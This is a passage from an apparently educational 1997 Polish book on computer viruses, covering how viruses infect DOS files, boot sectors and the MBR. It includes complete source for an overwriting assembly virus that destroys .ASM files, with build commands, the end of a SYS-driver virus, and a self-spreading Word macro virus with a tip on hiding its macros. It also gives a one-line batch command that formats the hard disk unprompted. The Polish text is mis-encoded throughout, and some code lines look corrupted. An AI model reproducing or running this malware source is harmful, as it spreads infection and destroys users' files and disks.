jmp short NastepnyZnak

InformacjaTxtOK:

mov ah,0

int 16h

and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

pop si ax

ret ; powrot

TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db CR,LF,NUL

StarePrzerwanie dw offset Nosiciel

VirusEnd:

NoweDTA DTAStruc <?,?,?,?,?,?>

DTASegOfs dd ?

CzytNagl NAGL <>

ProceduraStrategii: ; na wejsciu ES:BX adres

; do pakietu zlecenia

mov word ptr cs:[AdresZlecenia],bx ; pobierz adres i zachowaj

mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej

retf ; powrot z procedury

; strategii

AdresZlecenia dd ?

Nosiciel:

push ds ax bx

lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu

; zlecenia

xor ax,ax ;

mov word ptr ds:[bx+0Eh],ax ;

mov word ptr ds:[bx+10h],cs ;

mov byte ptr ds:[bx+0Dh],1 ;

mov word ptr ds:[bx+03h],8102h ;

pop bx ax ds

retf

SYZYF ENDS

END Start

4.1.4. Pliki systemowe DOS

4.1.4.1. Interpretator poleceñ

Infekcja interpretatora poleceñ (najczæúciej plik COMMAND.COM) w zasadzie przebiega tak samo jak w przypadku innych plików COM lub EXE (tylko we wczeúniejszych wersjach systemu DOS plik ten byù typu COM). Szybkie infektory najczæúciej szukajà w otoczeniu programu ùañcucha COMSPEC, bædàcego zmiennà úrodowiskowà systemu DOS, zawierajàcà peùnà nazwæ (ùàcznie ze úcieýkà) interpretatora poleceñ, i po znalezieniu od razu go infekujà.

Inny sposób dotarcia do pliku interpretatora poleceñ polega na zamazaniu czæúci jego kodu, leýàcego w pamiæci sùuýàcej do analizowania i wykonywania poleceñ. W rezultacie przy wykonywaniu jakiegoú polecenia z poziomu systemu DOS plik z interpretatorem poleceñ bædzie musiaù zostaã ponownie zaùadowany do pamiæci, a wtedy wirus bædzie mógù go zainfekowaã. Zaraýajàc interpretator poleceñ warto pamiætaã o tym, iý posiada on na swym koñcu pusty (wypeùniony zerami) obszar przeznaczony na stos, który jest na tyle dùugi, iý moýna go wykorzystaã, aby wpisaã tam kod wirusa, co umoýliwi wirusowi zainfekowanie go i przez to pozostawiã dùugoúã pliku niezmienionà (pomimo zmienionej zawartoúci).

4.1.4.2. Jàdro systemu (ang. kernel infector)

Jàdro systemu zawarte jest najczæúciej w pliku IO.SYS, choã zaleýy to od konkretnej realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym sterownikiem, jakie zwykle zawarte sà w plikach SYS, lecz programem o strukturze bardziej przypominajàcej pliki COM lub EXE, tak wiæc próby infekowania go jako sterownika SYS spowodujà jego zniszczenie i w efekcie zawieszenie systemu po starcie komputera. Wirusy infekujàce plik IO.SYS najczæúciej zapamiætujà poczàtek pliku w innym miejscu na dysku (najczæúciej w jakiú sposób ukrytym), a na poczàtek pliku IO.SYS nadpisujà swój kod. Po starcie systemu

program zawarty w BOOT-sektorze, ùaduje zainfekowany plik. Sterowanie przekazywane jest do wirusa, który po instalacji wczytuje oryginalnà zawartoúã pliku i oddaje do niego sterowanie.

4.1.5. Pliki wsadowe BAT

Wirusy typu batch nie sà programami komputerowymi, lecz skryptami, które modyfikujà pliki o rozszerzeniu BAT. Na kod takiego wirusa mogà siæ skùadaã:

> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/

REM, RD, REN, SET, SHIFT, TYPE;

> parametry wejúciowe: %0 nazwa programu, %1-%9 parametry

programu;

> operatory zmiany przyporzàdkowania strumieni wejúciowych i

wyjúciowych: <, >, », |;

> nazwy zarezerwowane przez system DOS: urzàdzenie NUL;

> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,

FIND, FORMAT; sterownik ANSI.SYS;

> pola etykiet, wykorzystywane np. do pominiæcia linii, w której moýe byã kod

maszynowy (opisane w jednym z poprzednich rozdziaùów).

Na uwagæ zasùugujà wspomniane wyýej operatory zmiany przyporzàdkowania strumieni wyjúciowych. Ich dziaùanie moýe bowiem zostaã wykorzystane do doúã brutalnej destrukcji. Normalnie uýycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia przez uýytkownika, który moýe zgodziã siæ lub nie na dokonywanà operacjæ Zmiana przyporzàdkowania strumieni umoýliwia zasymulowanie naciúniæcia przez uýytkownika jakiegoú klawisza (lub ich sekwencji), w tym wypadku potwierdzajàcych danà operacjæ. W efekcie polecenie zacznie siæ wykonywaã bez ýadnej kontroli ze strony uýytkownika!

Poza tym, skierowanie wszystkich komunikatów do urzàdzenia NUL moýe spowodowaã, iý o wykonywanych operacjach uýytkownik dowie siæ dopiero po ich zakoñczeniu.

Przykùadem moýe byã poniýsze polecenie, po którego wykonaniu dysk twardy zostanie sformatowany

ECHO Y | FORMAT C: NUL

Powyýszy przykùad powinien przekonaã kaýdego o celowoúci przeglàdania nieznanych plików wsadowych przed ich pochopnym uruchomieniem, aby uchroniã siæ przed niezbyt miùymi konsekwencjami.

4.1.6. Pliki DOC

Pliki DOC sà tworzone przez popularny edytor tekstów MS Word. Wirusy przemieszczajàce siæ w tych plikach wykorzystujà jæzyk Word Basie, wbudowany w ten program. Przy jego pomocy uýytkownik moýe tworzyã wùasne lub teý przedefiniowywaã juý istniejàce makra-Wirusy atakujàce dokumenty Worda wykorzystujà fakt, iý program ten ma kilka zdefiniowanych makr o specjalnym, wyjaúnionym w tabeli poniýej, znaczeniu, których przejæcie umoýliwia zainfekowanie kaýdego otwieranego lub zamykanego dokumentu.

Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykùad makro AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku NORMAL.DOT (globalny szablon zawierajàcy definicje wszystkich podstawowych stylów, makr itd., uýywanych w edytorze). Od tej chwili kaýdy otwierany, zachowywany (zaleýy to od przejætego makra) plik DOC bædzie zaraýany. Infekcja polega na przerobieniu pliku DOC na DOT (czyli na plik zawierajàcy szablon) i dopisaniu do niego makr wirusa. Operacja ta musi byã wykonywana, poniewaý zwykùy plik DOC nie moýe zawieraã w sobie definicji makr.

Makra MS Word o ustalonym znaczeniu

Nazwa makra

Opis makra

AutoExec

uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem z szablonu globalnego zawartego w pliku NORMAL.DAT

AutoNew

uruchamiane podczas tworzenia nowego dokumentu

AutoOpen

uruchamiane podczas otwierania dokumentu

AutoClose

uruchamiane podczas zamykania dokumentu

AutoExit

uruchamiane podczas koñczenia pracy z Wordem

Przykùadem prostego wirusa dla dokumentów Worda moýe byã poniýszy program, który skùada siæ z dwóch makr: FileSave i AutoOpen. Pierwsze z nich sùuýy do infekcji plików DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT dwa powyýsze makra bezpoúrednio po otwarciu zainfekowanego dokumentu (w rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyýszych makr zadziaùaù, naleýy je umieúciã w dowolnym (najlepiej nowym) dokumencie. Operacjæ tæ najproúciej przeprowadziã przy pomocy opcji NARZÆDZIA/MAKRO/UTWÓRZ, Poniýsze makra zawierajà fragmenty kodu, umoýliwiajàce kontrolowane uruchamianie wirusa (wirus prosi uýytkownika o potwierdzenie wszystkich wykonywanych przez siebie operacji).

Zawartoúã makra: AutoOpen

Sub MAIN

On Error Goto AutoOpen_Error

Tyt$ = 'Nowoczesne techniki wirusowe i antywirusowe,

Autor Adam B│aszczyk'

Uwg$ = 'Uwaga MakroWirus, Chcesz go zainstalowaµ ?' TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ':AutoOpen',

'Globalne:AutoOpen' MacroCopy WindowName$() + ':FileSave',

'Globalne:FileSave'

MsgBox 'Wirus dopisa│ siΩ do NORMAL.DOT, Sam tego chcia│e£ !!!', Tyt$, 64

End If AutoOpen_Error:

End Sub

Zawartoúã makra: FileSave

Sub MA1N FileSave On Error Goto FileSave_Error

Tyt$ = 'Nowoczesne techniki wirusowe i antywirusowe,

Autor Adan B│aszczyk' Uwg$ = 'Czy chcesz zainfekowaµ '' + WindowName$() + ''

makrowirusem ?'

TiN = 256 +48+4

Prz = MsgBox(Uwg$, Tyt$, TiN)

If (Prz = - 1) Then

MacroCopy 'Globalne:AutoOpen', WindowName$() +

':AutoOpen' MacroCopy 'Globalne: FileSave' , WindowName$ () +

':FileSave' FileSaveAs .Format - l

Tek$ = 'Wirus dopisa│ siΩ do '' + WindowName$() + ''' MsgBox Tek$, Tyt$, 64 FileSave

End lf

rem fileSave

FileSave_Error:

End Sub

Powyýszy wirus zadziaùa tylko w polskojæzycznej wersji MS Word (w wersjach dla innych jæzyków zmieniajà siæ nazwy procedur oraz szablonów).

Ze wzglædu na oferowanà przez Worda moýliwoúã szyfrowania makr powyýszego wirusa moýna w pewnym sensie uczyniã niewidzialnym (pewna forma techniki stealth). Naleýy w tym celu dodaã do polecenia MacroCopy ùañcuch 1, który oznacza, iý podczas kopiowania makra bædà zaszyfrowane. Uýytkownik nie bædzie mógù obejrzeã w edytorze zawartoúci takich makr.

4.1.7. Pliki XLS

Podobnie jak pliki DOC równieý arkusze Excela mogà zawieraã w sobie definicje makr, które moýe zdefinowaã lub przedefiniowaã wirus. Róýnica w stosunku do programu MS Word polega na tym, ýe rolæ pliku NORMAL.DOT z Worda peùni tu plik PERSONAL.XLS, inne jest teý nazewnictwo makr. Sam sposób dziaùania jest w zasadzie identyczny. Poniýsza tabela zawiera krótki opis makr automatycznych, dostæpnych w Excelu.

Makra MS Excela o ustalonym znaczeniu

Nazwa makra

Opis makra

auto_open

uruchamiane podczas rozpoczynania pracy z Excelem

auto_close

uruchamiane podczas zamykania arkusza

4.1.8. Pliki ASM

Zwykle wiækszoúã wirusów zaraýa pliki opisane na poprzednich stronach tego rozdziaùu. Oprócz nich istnieje maùa grupka wirusów, które infekujà pliki raczej nietypowe. Przykùadem mogà byã tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do zaraýanego pliku ASM, bàdê teý na nadpisaniu oryginalnego programu ofiary kodem wirusa w postaci êródùowej. Czytajàc ten tekst moýna siæ dziwiã, w jaki sposób program moýe znaã, a tym bardziej transportowaã, swój wùasny kod êródùowy, który ma póêniej doùàczaã do ofiary. W rzeczywistoúci nie jest to takie trudne do zrealizowania. Uruchamialny, wykonujàcy siæ kod, który powstaje z pliku ASM, ma postaã binarnà, a wiæc wirus zaraýajàcy plik ASM teý jest w takiej postaci. Ze wzglædu na to, iý wirus ma dodaã do pliku swój wùasny kod, najproúciej przetworzyã go na przykùad na postaã szesnastkowà (jako ciàg DB ??h/??h//??h), i w takiej postaci dodaã kod wirusa do zaraýanego programu.

Poniýej przedstawiono przykùad prostego wirusa plików ASM, nad-pisujàcego (i w efekcie niszczàcego pliki).

;

Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;

;

ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ;

;

Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ;

Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

;

; Kompilacja : ;

TASM ASMODEUS.ASM ;

TLINK /t ASMODEUS.OBJ ;

;

.286p

ASMODEUS SEGMENT

JUMPS

ASSUME CS:ASMODEUS, DS:ASMODEUS

ORG 100h

NUL = 00h ;

LF = 0Ah ; stale znakow

CR = 0Dh ; / ASCII

DOLAR = '$' ; /

AtrReadOnly = 00000001b ;

AtrHidden = 00000010b ;

AtrSystem = 00000100b ; rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /

Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID

; atrybut poszukiwanej pozycji

; katalogu

VirusDlug = offset (VirusEnd-VirusStart)

; dlugosc kodu wirusa

ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)

; dlugosc dyrekty z poczatku

; pliku ASM (ASSUME, ORG, itd.)

ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)

; dlugosc dyrekty z konca

; pliku ASM (ENDS, END)

VRok = 1998 ; data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /

VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien

DTAStruc struc ; struktura DTA bufora transmisji

; dyskowych uzywanych przez

; funkcje 4E i 4F

DTAFill db 21 dup (?) ; nieistotna czesc

DTAAttr db ? ; atrybut znalezionej pozycji

DTATime dw ? ; czas znalezionej pozycji

DTADate dw ? ; data znalezionej pozycji

DTASize dd ? ; dlugosc znalezionej pozycji

DTAName db 13 (?) ; nazwa znalezionej pozycji

DTAStruc ends

NoweDTA equ 80h

VirusStart: ; tu zaczyna sie kod wirusa

lea dx,TeInformacja ; podaj, gdzie jest tekst

Call Informacja ; spytaj o uruchomienie wirusa

jnc Infekcja ; CF=1 oznacza nie uruchamiaj

jmp BezInfekcji ; NIE - nie infekuj

Infekcja:

lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM'

mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji

mov ah,4Eh ; funkcja DOS - szukaj pierwszej

; pozycji katalogu

int 21h ; wywolaj funkcje DOS

jc BezInfekcji ; gdy CF=1, to blad

KolejnyPlik:

cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz

; zarazony ?

je SzukajNastepnyPlik ; tak = szukaj nastepnego

mov cx,AtrArchive ; podaj nowy atrybut : Archive

lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad

lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu

mov ax,3d02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

int 21h ; wywolaj funkcje DOS

jc PrzywrocAtrybut ; gdy CF=1, to blad

xchg ax,bx ; przenies uchwyt pliku do BX

mov cx,ASMNaglowek_Rozmiar ; ile zapisac

lea dx,ASMNaglowek_Start ; skad pobrac dane

mov ah,40h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

cld ; operacje na lancuchach do przodu

push bx ; zachowaj uchwyt pliku

lea di,Bufor ; gdzie zapisywac wynik

lea bx,Hex ; gdzie znajduje sie tablica

; translacji na znaki heksalne

lea si,VirusStart ; gdzie zaczyna sie kod

mov cx,VirusDlug ; ilosc bajtow do konwersji

RobHex:

mov ax,'BD' ;

stosw ; zapisz sekwencje

mov ax,'0 ' ; / 'db 0'

stosw ; /

lodsb ; pobierz bajt kodu

mov ah,al ; zapamietaj na pozniej

shr al,4 ; pobierz 4 gorne bity bajtu kodu

xlatb ; wez odpowiadajcy mu znak

stosb ; heksalny i zapisz go

mov al,ah ; wez zapamietany bajt kodu

and al,15 ; pobierz 4 dolne bity bajtu kodu

xlatb ; wez odpowiadajcy mu znak

stosb ; heksalny i zapisz go

; teraz bufor= 'db 0??'

mov al,'h' ; zapisz 'h' w buforze

stosb

; teraz bufor='db 0??h'

mov ax,0A0Dh ; zapisz znaki CR,LF

stosw

; teraz bufor='db 0??h',CR,LF

loop RobHex ; przetwarzaj caly kod programu

pop bx ; przwyroc uchwyt pliku

sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor

mov cx,di ; ile bajtow zapisac

lea dx,Bufor ; podaj, skad zapisac wirusa

; jako ciag DB ?,?, ?,?,?

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,ASMKoncowka_Rozmiar ; ile zapisac

lea dx,ASMKoncowka_Start ; skad pobrac dane

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje DOS

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA

mov dx,VZnacznik ; zaznacz infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

int 21h ; wywolaj funkcje DOS

ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

int 21h ; wywolaj funkcje DOS

SzukajNastepnyPlik: ; poprzedni plik byl zarazony

mov ah,4Fh ; funkcja DOS - szukaj innego

; plik ASM

int 21h ; wywolaj funkcje DOS

jnc KolejnyPlik ; gdy CF=1, to blad

PrzywrocAtrybut:

mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0

lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany

mov ax,4301h ; funkcja DOS - zmien atrybut

int 21h

BezInfekcji:

ret ; koncz program, skocz do PSP:100h

; do rozkazu Int 20h

MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ)

ASMNaglowek_Start:

db 'V SEGMENT',CR,LF

db 'ORG 100h',CR,LF

db 'Start:',CR,LF

ASMNaglowek_Koniec:

ASMKoncowka_Start:

db 'V ENDS',CR,LF

db 'END Start',CR,LF

ASMKoncowka_Koniec:

Hex db '0123456789ABCDEF'

; Czesc Informayjna

Informacja:

mov ah,09h ; funkcja DOS - wyswietl tekst$

int 21h ; wywolaj funkcje DOS

mov ah,01h ; funkcja DOS - czytaj znak

; ze standardowego wejscia

int 21h ; wywolaj funkcje DOS

; AL zawiera znak

push ax ; zapamietaj na chwile znak

mov ax,0E0Dh ; przejdz

int 10h ; do

mov ax,0E0Ah ; / nastepnej

int 10h ; / linii

pop ax ; przywroc znak

and al,11011111b ; konwertuj znak na wielka litere

cmp al,'T' ; czy potwierdzona infekcja

clc ; ustaw flage na TAK

je CLCRet ; TAK i powrot

stc ; ustaw flage na NIE i powrot

CLCRet:

ret ; powrot

TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'

db DOLAR

VirusEnd:

Bufor db 32768 dup (?)

ASMODEUS ENDS

END VirusStart

4.2. Sektory systemowe

Po uruchomieniu komputera oraz po pozytywnym przejúciu sprzætowej inicjalizacji wszystkich ukùadów, procesor przystæpuje do uruchamiania systemu, oddajàc najpierw sterowanie do BIOS-a, który po przeprowadzeniu róýnych testów przekazuje kontrolæ dalej, tzn. do systemu operacyjnego. Aby to zrobiã, musi wczytaã go z pliku zawierajàcego jàdro systemu. Ze wzglædu na to, iý narzucona przez systemy operacyjne struktura plików (róýna dla róýnych systemów) jest dostæpna dopiero po zaùadowaniu odpowiedzialnego za dostæp do niej jàdra systemu (takýe róýnego dla róýnych systemów), powstaje bùædne koùo: aby zaùadowaã plik z jàdrem systemu, ono samo musi juý byã zaùadowane. Jasne jest, iý musi istnieã jakaú uniwersalna metoda na zaùadowanie dowolnego systemu (a wiæc i jàdra systemu). Problem ten rozwiàzano poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i logicznych. Sektory te zawierajà krótkie programy, odpowiedzialne za zaùadowanie wùaúciwej czæúci jàdra systemu. W przypadku dysku fizycznego mamy do czynienia z tzw. Gùównym Rekordem Ùadujàcym, a w przypadku logicznych - z tzw. BOOT-sektorem. Dokùadniejszy ich opis znajduje siæ dalej.

4.2.1. Gùówny Rekord Ùadujàcy (ang. Master Boot Record-MBR

Kaýdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia dostæpu przez BIOS) sektorze tzw. Gùówny Rekord Ùadujàcy (czæsto nazywany sektorem tablicy partycji), zawierajàcy informacje o podziale jego fizycznej struktury na logiczne party-cje (strefy). Oprócz powyýszych informacji rekord ten zawiera takýe krótki programik, majàcy na celu odnalezienie w tablicy partycji aktywnej strefy i zaùadowanie z niej systemu operacyjnego. Format gùównego rekordu ùadujàcego, opis zawartoúci tablicy partycji oraz rodzaje stref zawarte sà w poniýszych tablicach.

Format gùównego rekordu ùadujàcego (MBR)

Adres

Zawartoúã

Program wczytujàcy system z aktywnej partycji dysku twardego

1BE

Opis strefy nr 1

1CE

Opis strefy nr 2

1DE

Opis strefy nr 3

1EE

Opis strefy nr 4

1FE

Bajty 055h i 0AAh

Opis jednej strefy w tablicy partycji

Adres

Zawartoúã

Znacznik aktywnoúci strefy: 00h - strefa nie zawiera systemu operacyjnego 80h - strefa zawiera system operacyjny

Numer gùowicy, pod którà zaczyna siæ strefa

Numer cylindra i sektora, pod którymi zaczyna siæ strefa, zapisane nastæpujàco (litery odpowiadajà kolejnym bitom):

bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = numer sektora (0-63) CCcccccccc = numer cylindra (0-1023)

Rodzaj strefy (wg nastæpnej tablicy)

Numer gùowicy, pod którà koñczy siæ strefa

Numer cylindra i sektora, pod którymi koñczy siæ strefa, zapisane tak samo jak w polu 02h-03h

08-0B

Wzglædny numer sektora rozpoczynajàcego strefæ

0C-0F

Dùugoúã strefy w sektorach

Rodzaje stref wg bajtu z pola 04h w opisie strefy

Bajt  Rodzaj strefy

00h  pusta

01h  DOS 12-bit FAT

02h  XENIX

03h  XENIX /usr

04h  DOSl6-bitFAT(do32M)

05h  DOS 3.3+ rozszerzona partycja

06h  DOS 3.31 + Large File System (16-bit FAT)

07h  QNX

07h  OS/2 HPFS

07h  Windows NT NTFS

07h  Advanced Unix

08h  OS/2 (tylko v1.0-1.3)

08h  AIX

08h  Commodore DOS

08h  DELL

09h  AIX

09h  Coherent

0Ah  OS/2 Boot Manager

0Ah  OPUS

0Ah  Coherent

0Bh  Windows 95 - 32-bit FAT

0Ch  Windows 95 - 32-bit FAT (LBA)

0Eh  zarezerwowane przez Microsoft dla VFAT

0Fh  zarezerwowane przez Microsoft dla VFAT

10h  OPUS

11h  OS/2 Boot Manager 12-bit FAT

12h  partycja Compaq Diagnostics

14h tworzy jà Noyell DOS 7.0 FDISK

14h  OS/2 Boot Manager

16h  OS/2 Boot Manager

17h  OS/2 Boot Manager HPFS

18h  AST Windows plik wymiany

21h  zarezerwowana

23h  zarezerwowana

24h  NEC MS-DOS 3.x

26h  zarezerwowana

31h  zarezerwowana

33h  zarezerwowana

34h  zarezerwowana

36h  zarezerwowana

3Ch  PowerQuest

40h  VENIX 80286

41h  Persona! RISC Boot

42h  SFS (Secure File System)

50h  OnTrack Disk Manager

51h  OnTrack Disk Manager

51h  NOYELL

52h  CP/M

52h  Microport System V/386

53h  OnTrack Disk Manager

54h  OnTrack Disk Manager (DDO)

56h  GoldenBow VFeature

61h  SpeedStor

63h  Unix SysV/386

63h  Mach

64h  Novell NelWare 286

65h  NovetlNetWare(3.11)

67h  Novell

68h  Novell

69h  Novell _

70h  DiskSecure Multi-Boot

71h  zarezerwowana

73h  zarezerwowana

74h  zarezerwowana

75h  PC/lX

76h  zarezerwowana

80h  Minixv1,1 - 1.4a

81h  Minixv1.4b+

81h  Linux

81h  Mitac Advanced Disk Manager

82h  Linux Swap

82h  Prime

83h  Linux native file system

84h  OS/2

86h  zarezerwowana

87h  HPFS Fault-Tolerant

93h  Amoeba file system

94h Amoeba bad bùock table

A1h  zarezerwowana

A3h  zarezerwowana

A4h  zarezerwowana

A5h  FreeBSD

A6h  zarezerwowana

B1h  zarezerwowana

B3h  zarezerwowana

B4h  zarezerwowana

B6h  zarezerwowana

B7h  BSDI file system

B8h  BSDI plik wymiany

C1h  DR DOS 6.0 LOGIN.EXE 12-bit FAT

C4h  DR DOS 6.0 LOGIN.EXE 16-bit FAT

C6h  DR DOS 6.0 LOGlN.EXE Huge

C7h  Syrinx Boot

D8h  CP/M-86

DBh  CP/M

DBh  CTOS (ConvergentTechnologies OS)

E1h  SpeedStor 12-bit FAT rozszerzona partycja

E3h  DOS tylko do czytania

E3h  Storage Dimensions

E4h  SpeedStor 16-bit FAT rozszerzona partycja

E5h  zarezerwowana

E6h  zarezerwowana

F1h  Storage Dimensions

F2h  DOS 3.3+

F3h  zarezerwowana

F4h  SpeedStor

F4h  Storage Dimensions

F6h  zarezerwowana

FEh  LANstep

FEh  IBM PS/2 IML

FFh  Xenix

Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, staùy adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazujàc tym samym sterowanie do programu ùadujàcego, który odszukuje strefæ aktywnà w tablicy partycji. Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w polu 00h opisu badanej strefy znajduje siæ wartoúã 80h, co jest znakiem, iý jest to strefa aktywna i moýna z niej zaùadowaã system operacyjny.

Dziaùanie wirusów zaraýajàcych MBR polega na podmianie oryginalnego programu w niej zawartego na kod wirusa. Oryginalna tablica partycji moýe byã przechowywana w innym sektorze na dysku. Najproúciej Jest wczytaã oryginalny sektor przy pomocy funkcji (02/13), dokonaã zmian w jego strukturze i zapisaã zmodyfikowany sektor z powrotem na dysk przy uýyciu funkcji (03/13).

Po zaraýeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i sterowanie jest oddawane do wirusa, który zmniejsza pamiæã dostæpnà dla DOS-a (poprzez modyfikacjæ zmiennej BIOS, zawartej pod adresem 0000:413), a nastæpnie kopiuje siæ na koniec pamiæci, która jest juý niedostæpna dla DOS-a. Stamtàd przejmuje obsùugæ przerwañ i po wczytaniu oryginalnego sektora tablicy partycji (takýe pod adres 0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ùadujàcy kontynuuje normalne wczytywanie systemu.

4.3. Rekord ùadujàcy (ang. BOOT-sector

Program ùadujàcy, zawarty w MBR, wczytuje system ze strefy aktywnej, dokùadniej: wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO (a wiæc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero program zawarty w BOOT-sektorze ùaduje plik zawierajàcy jàdro systemu (w przypadku systemu DOS - najczæúciej IO.SYS).

Powyýsza operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek BIOS bezpoúrednio ùaduje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak widaã, BIOS nie rozróýnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.

Przy pierwszym dostæpie do dysku system kopiuje do swych struktur wewnætrznych czæúã informacji zawartych w BOOT-sektorze. Informacje te sà zawarte w tzw. bloku BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.

Zawartoúã BOOT-sektora przedstawiono w poniýszej tabeli.

Zawartoúã BOOT-sektora

Adres

Zawartoúã

Instrukcja skoku do programu ùadujàcego system, najczæúciej (OEBh ?? 90h). czyli JMP SHORT

03-0A

Nazwa wersji systemu (jako ùañcuch ASCII)

Poczàtek bloku BPB

+

0B-0C

Wielkoúã sektora w bajtach

0E-0F

Liczba sektorów zarezerwowanych na poczàtku dysku

Liczba kopii FAT

Maksymalna liczba plików w katalogu gùównym

Caùkowita liczba sektorów na dysku logicznym (nie uýywane)

Bajt identyfikacji noúnika

Liczba sektorów zajætych przez FAT

Liczba sektorów na úcieýce

1A-1B

Liczba gùowic dysku

1C-1D

Koniec bloku BPB

Numer fizyczny dysku

Zarezerwowane

Rozszerzony znacznik BOOT-sektora

27-2A

Numer woluminu

2B-35

Etykieta dysku 

36-3D

Typ FAT zapisany jako ùañcuch ASCII 

??-1FF

Program wczytujàcy system

Nietrudno domyúliã siæ, iý infekcja BOOT-sektora polegaã bædzie na zamianie oryginalnego programu w nim zawartego na kod wirusa, tak jak miaùo to miejsce w przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora ùatwiej uýyã przerwañ 25h i 26h, gdyý biorà one na siebie ciæýar wszystkich obliczeñ zwiàzanych z translacjà sektorów logicznych na fizyczne.

4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)

Pierwszym wirusem, który zaraýaù JAP, byù wirus DIR-2. Ze wzglædu na pewne ograniczenia zaraýaù tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieã zasadæ jego dziaùania, trzeba przede wszystkim wiedzieã, w jaki sposób system DOS zapisuje pliki na dysku. Kaýdy dysk logiczny widoczny w systemie posiada tzw. tablicæ FAT (ang. File Alocation Tobie), która dzieli dysk na równe czæúci, zwane Jednostkami Alokacji Plików JAP). Wielkoúã JAP jest róýna dla róýnych pojemnoúci dysków. Informacja o iloúci sektorów zajmowanych przez jednà JAP zawarta jest w BOOT-sektorze, w polu 0Dh. Kaýdy plik zapisywany na dysku ma do dyspozycji odpowiednià, wynikajàcà z jego dùugoúci, liczbæ jednostek alokacji. Liczba ta równa jest dùugoúci pliku podzielonej przez rozmiar jednej JAP. Obliczonà liczbæ naleýy zaokràgliã w góræ (aby uwzglædniã koñcówkæ pliku, która nie mieúci siæ w peùnej JAP). Jak widaã, pliki zapisane na dysku wcale nie muszà byã zapisane sekwencyjnie, tzn. róýne fragmenty pliku mogà byã porozrzucane po caùym dysku. Takýe widziana przez uýytkownika dùugoúã pliku tylko czasami zgadza siæ z prawdziwà dùugoúcià zajmowanà przez plik na dysku (gdy dùugoúã pliku jest wielokrotnoúcià dùugoúci JAP). Wczytujàc plik DOS odczytuje z odpowiedniego pola katalogu numer pierwszej JAP i na jej podstawie, w miaræ kolejnych odczytów/zapisów do pliku, porusza siæ po ùañcuchu JAP, korzystajàc z 